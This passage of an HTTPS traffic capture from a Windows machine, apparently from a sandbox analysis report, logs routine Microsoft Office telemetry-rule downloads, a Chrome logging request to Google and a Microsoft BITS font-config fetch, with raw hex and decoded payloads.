Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:28 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f6d28dea-a01e-0002-4ae8-285074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001828Z-15b8d89586f6nn8zqg1h5suba800000003xg00000000k96r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49755	142.250.185.110	443	4676	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:28 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 914 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 00:18:28 UTC	914	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 33 33 33 39 30 36 32 30 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730333906203",null,null,null,
2024-10-31 00:18:29 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=g5RD-eFUZEEsLQ2SzRTVQ_6UpBWwvr1HOCMDcR8Qr_o4VpGjT7vJ4IMrmfX0YNgk87G_udND5ALpFHHaGiAGGg12wU6nbOt8FHLx5IGu4Qxfk_lUERUbpzzxQbLo9eQMxWotWn5F2py4MikfDSEsJe6e96sASYDizFxaEb8ZIke6UK4oCg; expires=Fri, 02-May-2025 00:18:28 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 31 Oct 2024 00:18:28 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 31 Oct 2024 00:18:28 GMT Connection: close Transfer-Encoding: chunked
2024-10-31 00:18:29 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-31 00:18:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:28 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001828Z-16849878b787bfsh7zgp804my400000007ng000000002w8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49756	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:28 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-31 00:18:29 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=232034 Date: Thu, 31 Oct 2024 00:18:28 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:29 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:29 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: daa440d4-101e-0028-4cca-2a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001829Z-159b85dff8fx9jp8hC1DFWp25400000000e0000000007r8k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:29 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:29 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001829Z-16849878b787bfsh7zgp804my400000007p0000000000uu5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:29 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001829Z-16849878b787bfsh7zgp804my400000007m0000000007t6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:29 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:29 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001829Z-16849878b78qwx7pmw9x5fub1c00000006tg00000000v196 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:29 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49772	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:30 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-31 00:18:30 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=232089 Date: Thu, 31 Oct 2024 00:18:30 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-31 00:18:30 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:30 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:30 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:30 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d5dcea80-601e-0050-0829-2a2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001830Z-159b85dff8fhxqdbhC1DFW5pzn000000011000000000az3s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:30 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:30 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:30 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:30 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001830Z-16849878b78x6gn56mgecg60qc0000000ang000000004sv6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:30 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:30 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:30 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: f3394f62-601e-0070-07f3-2aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001830Z-16849878b78p49s6zkwt11bbkn000000089g00000000x81n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
